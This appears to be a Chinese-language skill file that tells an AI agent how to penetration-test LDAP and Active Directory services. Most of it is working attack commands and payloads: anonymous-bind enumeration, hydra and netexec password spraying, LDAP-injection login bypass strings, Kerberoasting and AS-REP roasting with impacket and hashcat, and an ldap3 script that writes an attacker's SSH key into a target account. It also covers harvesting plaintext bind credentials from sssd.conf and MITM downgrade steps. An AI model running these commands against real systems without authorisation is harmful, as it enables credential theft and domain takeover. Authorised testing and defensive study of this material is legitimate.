| name | ldap-pentesting |
| description | LDAP 服务(389/636/3268/3269 端口)渗透测试方法论。涵盖 LDAP 服务发现与版本识别、匿名绑定测试、目录信息枚举(用户/组/计算机/OU)、LDAP 注入、密码策略提取、Kerberoasting 关联、LDAPS 证书分析。
当 Agent 扫描发现 389/636 端口开放、需要枚举 Active Directory 信息、测试 LDAP 匿名访问、或通过 LDAP 收集域信息时,触发此 Skill。
|
| metadata | {"tags":["ldap","目录服务","389端口","636端口","active-directory","ldapsearch","匿名绑定"],"category":"exploit/network-service"} |
LDAP 渗透测试方法论 (389/636/3268/3269)
深入参考
整体决策树
发现 389/636/3268/3269 端口开放
├─ Phase 1: 服务发现与版本识别
│ ├─ 确定 LDAP 服务类型 (Active Directory / OpenLDAP / 其他)
│ ├─ 获取 Naming Context / Base DN
│ └─ 判断是否启用 LDAPS (636/3269)
│ ├─ 是 -> Phase 7 证书分析 + 仍尝试 389 明文端口
│ └─ 否 -> 可嗅探明文凭据 (MITM)
├─ Phase 2: 匿名绑定测试
│ ├─ 匿名绑定成功 -> 进入 Phase 3 全面枚举
│ └─ 匿名绑定失败
│ ├─ 尝试 TLS SNI 绕过
│ ├─ 尝试已知凭据 / 密码喷洒
│ └─ 转向其他服务获取凭据后回来
├─ Phase 3: 目录枚举
│ ├─ 用户枚举 (sAMAccountName / userPrincipalName)
│ ├─ 组枚举 (Domain Admins / Enterprise Admins / 特权组)
│ ├─ 计算机枚举
│ ├─ OU 结构映射
│ └─ 敏感属性提取 (description / userPassword / sshPublicKey)
├─ Phase 4: LDAP 注入
│ ├─ Web 应用 LDAP 查询注入
│ └─ 盲注 (布尔型 / 错误型)
├─ Phase 5: 密码策略提取
│ ├─ 域密码策略 (lockoutThreshold / maxPwdAge)
│ └─ 细粒度密码策略 (PSO)
├─ Phase 6: Kerberoasting 关联
│ ├─ 查找 SPN 账户 (servicePrincipalName)
│ └─ 查找 AS-REP Roastable 账户 (DONT_REQUIRE_PREAUTH)
└─ Phase 7: 已知漏洞与后渗透
├─ LDAPS 证书分析 (域名 / SAN 泄露)
├─ 可写属性利用 (sshPublicKey / msDS-AllowedToActOnBehalfOfOtherIdentity)
├─ 客户端配置文件泄露 (sssd.conf / nslcd.conf)
└─ LDAP 数据库直接提取 (本地访问)
Phase 1: 服务发现与版本识别
1.1 端口扫描与脚本枚举
nmap -sV -sC -p 389,636,3268,3269 <IP>
nmap -n -sV --script "ldap* and not brute" <IP>
1.2 获取 Naming Context (Base DN)
ldapsearch -x -H ldap://<IP> -s base namingcontexts
ldapsearch -x -H ldap://<IP> -s base '(objectClass=*)' '*' +
关键判断:
defaultNamingContext -> 域的 Base DN (如 DC=corp,DC=local)
rootDomainNamingContext -> 森林根域
configurationNamingContext -> 配置分区,含站点/子网拓扑
- 存在
forestFunctionality / domainFunctionality -> Active Directory 环境
1.3 LDAPS 检测
nmap -sV -p 636 <IP>
openssl s_client -connect <IP>:636
openssl s_client -connect <IP>:3269
Phase 2: 匿名绑定测试
2.1 匿名绑定决策树
尝试匿名绑定
├─ 1) ldapsearch 空凭据
│ └─ ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<DOMAIN>,DC=<TLD>"
│ ├─ 返回数据 -> 匿名绑定成功,进入 Phase 3
│ └─ "bind must be completed" -> 匿名绑定被禁用
├─ 2) TLS SNI 绕过 (LDAPS)
│ └─ ldapsearch -H ldaps://<DOMAIN>:636/ -x -s base -b '' "(objectClass=*)" "*" +
├─ 3) NetExec null bind
│ └─ netexec ldap <IP> -u '' -p '' --query "(objectClass=*)" ""
│ ├─ 返回对象 -> 匿名绑定成功
│ └─ Operations error -> 需要认证
└─ 4) Python ldap3 库
└─ -> 读 references/ldap-techniques.md #Python枚举
2.2 已知凭据认证
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<DOMAIN>,DC=<TLD>"
ldapsearch -Y GSSAPI -H ldap://<IP> -b "DC=<DOMAIN>,DC=<TLD>"
2.3 凭据暴力破解
hydra -l <username> -P <wordlist> <IP> ldap2 -V -f
netexec ldap <IP> -u users.txt -p 'Password1' --continue-on-success
Phase 3: 目录枚举
3.1 全量导出 (ldapdomaindump)
pip3 install ldapdomaindump
ldapdomaindump <IP> -u '<DOMAIN>\<user>' -p '<password>' --no-json --no-grep [-o output_dir]
3.2 用户枚举
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
-b "CN=Users,DC=<DOMAIN>,DC=<TLD>" "(objectClass=person)" \
sAMAccountName userPrincipalName memberOf description
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
-b "CN=Domain Admins,CN=Users,DC=<DOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
-b "CN=Enterprise Admins,CN=Users,DC=<DOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
-b "CN=Administrators,CN=Builtin,DC=<DOMAIN>,DC=<TLD>"
3.3 计算机与 OU 枚举
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
-b "CN=Computers,DC=<DOMAIN>,DC=<TLD>" "(objectClass=computer)" \
cn operatingSystem operatingSystemVersion dNSHostName
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
-b "DC=<DOMAIN>,DC=<TLD>" "(objectClass=organizationalUnit)" ou distinguishedName
3.4 NetExec 枚举 (匿名 / 认证)
netexec ldap <IP> -u '' -p '' --query "(objectClass=*)" ""
netexec ldap <IP> -u '' -p '' --query "(sAMAccountName=*)" "" \
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
netexec ldap <IP> -u <USER> -p <PASS> --bloodhound -c All -d <DOMAIN> \
--dns-server <IP> --dns-tcp
3.5 windapsearch
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p password --da
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p password --privileged-users
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p password --users
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p password --groups
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p password --computers
3.6 敏感属性搜索
敏感属性检查
├─ description 字段 -> 管理员常在此存放临时密码
├─ userPassword 属性 -> OpenLDAP 环境可能存在
├─ unixUserPassword -> Linux 集成环境
├─ sshPublicKey -> SSH 公钥,可写则可劫持
├─ msDS-AllowedToActOnBehalfOfOtherIdentity -> RBCD 攻击面
└─ adminCount=1 -> 标记受 AdminSDHolder 保护的高权限账户
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
-b "DC=<DOMAIN>,DC=<TLD>" "(&(objectClass=user)(description=*))" \
sAMAccountName description
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
-b "DC=<DOMAIN>,DC=<TLD>" "(&(objectClass=person))" userPassword
Phase 4: LDAP 注入
4.1 注入原理
Web 应用通过拼接用户输入构建 LDAP 查询时,可注入恶意过滤器。
4.2 注入测试决策树
发现 Web 应用使用 LDAP 后端认证/查询
├─ 认证绕过
│ ├─ 用户名: * 密码: * -> 通配符绕过
│ ├─ 用户名: admin)(|(password=* -> 过滤器注入
│ └─ 用户名: admin)(&) -> 恒真条件
├─ 信息泄露 (盲注)
│ ├─ 布尔型: 逐字符猜解属性值
│ │ └─ (&(uid=admin)(userPassword=a*)) -> 响应差异判断
│ └─ 错误型: 构造畸形过滤器触发错误信息
└─ 常见注入字符: * ( ) \ / NUL
4.3 常见 Payload
# 认证绕过
user=*)(uid=*))(|(uid=*
pass=anything
# 属性枚举 (盲注)
(&(uid=admin)(userPassword=FUZZ*))
(&(uid=admin)(description=FUZZ*))
# 通配符测试
(&(objectClass=*)(uid=*))
注意:LDAP 注入在现代框架中已较少见,但在内部遗留应用和嵌入式设备管理界面中仍可能存在。
Phase 5: 密码策略提取
5.1 域默认密码策略
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
-b "DC=<DOMAIN>,DC=<TLD>" "(objectClass=domain)" \
minPwdLength maxPwdAge minPwdAge lockoutThreshold lockoutDuration \
pwdHistoryLength pwdProperties
netexec ldap <IP> -u <USER> -p <PASS> --pass-pol
5.2 细粒度密码策略 (PSO)
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
-b "CN=Password Settings Container,CN=System,DC=<DOMAIN>,DC=<TLD>" \
"(objectClass=msDS-PasswordSettings)" \
msDS-LockoutThreshold msDS-MinimumPasswordLength msDS-PSOAppliesTo
关键判断:
lockoutThreshold=0 -> 无锁定策略,可安全暴力破解
lockoutThreshold>0 -> 记录阈值和 lockoutObservationWindow,控制喷洒速率
- PSO 可能对特权账户设置更严格策略
Phase 6: Kerberoasting 关联
6.1 查找 SPN 账户
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
-b "DC=<DOMAIN>,DC=<TLD>" \
"(&(objectClass=user)(servicePrincipalName=*)(!(objectClass=computer)))" \
sAMAccountName servicePrincipalName memberOf
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p password --da
关键判断:
- SPN 账户属于高权限组 -> 高价值 Kerberoasting 目标
pwdLastSet 较旧 -> 密码可能较弱,更易破解
6.2 查找 AS-REP Roastable 账户
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
-b "DC=<DOMAIN>,DC=<TLD>" \
"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
sAMAccountName userAccountControl
6.3 后续攻击
Kerberoasting 路径
├─ 找到 SPN 账户 -> GetUserSPNs.py 请求 TGS
│ └─ impacket-GetUserSPNs -dc-ip <IP> <DOMAIN>/<user>:<pass> -request
├─ 找到 AS-REP Roastable 账户 -> GetNPUsers.py 请求 AS-REP
│ └─ impacket-GetNPUsers -dc-ip <IP> <DOMAIN>/ -usersfile users.txt -no-pass
└─ 获取哈希 -> hashcat / john 离线破解
├─ Kerberoast: hashcat -m 13100 hash.txt wordlist.txt
└─ AS-REP: hashcat -m 18200 hash.txt wordlist.txt
Phase 7: 已知漏洞与后渗透
7.1 LDAPS 证书分析
openssl s_client -connect <IP>:636 </dev/null 2>/dev/null | openssl x509 -noout -text
7.2 可写属性利用
发现 LDAP 可写权限
├─ sshPublicKey 可写 -> 注入攻击者公钥,SSH 登录目标
├─ msDS-AllowedToActOnBehalfOfOtherIdentity 可写 -> RBCD 攻击
├─ servicePrincipalName 可写 -> Targeted Kerberoasting
├─ userAccountControl 可修改 -> 禁用预认证 (AS-REP Roasting)
└─ member 属性可写 -> 将自身添加到特权组
import ldap3
server = ldap3.Server('<IP>', port=636, use_ssl=True)
conn = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=TLD', 'PASSWORD', auto_bind=True)
conn.modify('uid=TARGET,ou=USERS,dc=DOMAIN,dc=TLD', {
'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAA...attacker_key'])]
})
7.3 Linux 客户端配置泄露
ls -la /etc/sssd/sssd.conf /etc/nslcd.conf /etc/ldap/ldap.conf /etc/krb5.conf 2>/dev/null
grep -nE '^(ldap_uri|ldap_search_base|ldap_default_bind_dn|ldap_default_authtok|id_provider|auth_provider)\s*=' \
/etc/sssd/sssd.conf /etc/nslcd.conf 2>/dev/null
关键检查项:
sssd.conf / nslcd.conf 全局可读 -> 明文绑定凭据泄露
ldap_default_bind_dn + ldap_default_authtok -> 可复用的 LDAP 绑定凭据
- 目录集成 SSH/sudo -> 可读配置转化为实际授权影响
7.4 LDAP 数据库直接提取 (本地访问)
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
7.5 LDAP 流量嗅探与 MITM
明文 LDAP (389) 环境
├─ 网络嗅探 -> tcpdump/Wireshark 捕获绑定凭据
├─ MITM 降级攻击
│ ├─ 拦截 LDAP 通信
│ └─ 强制客户端使用简单绑定 (明文密码)
└─ LDAPS 环境 -> 伪造证书 MITM
└─ 客户端不验证证书 -> 降级后嗅探凭据
7.6 配置文件路径参考
| 配置文件 | 适用环境 |
|---|
slapd.conf | OpenLDAP |
ldap.conf / ldap.cfg | 通用 LDAP 客户端 |
containers.ldif | 通用 |
ldap.xml / ldap-config.xml / ldap-realm.xml | Java 应用 |
msadClassesAttrs.ldif | Microsoft AD |
V3.sas.oc | IBM SecureWay |
nsslapd.sas_at.conf / nsslapd.sas_oc.conf | Netscape Directory |
75sas.ldif | Sun ONE Directory |
凭据明文嗅探提醒
如果目标使用 389 端口明文 LDAP(未启用 STARTTLS),所有绑定操作中的凭据均可被网络嗅探捕获。在渗透测试报告中应标记此风险,即使未直接利用。
图形化工具
当命令行枚举受限或需要交互式浏览目录树时: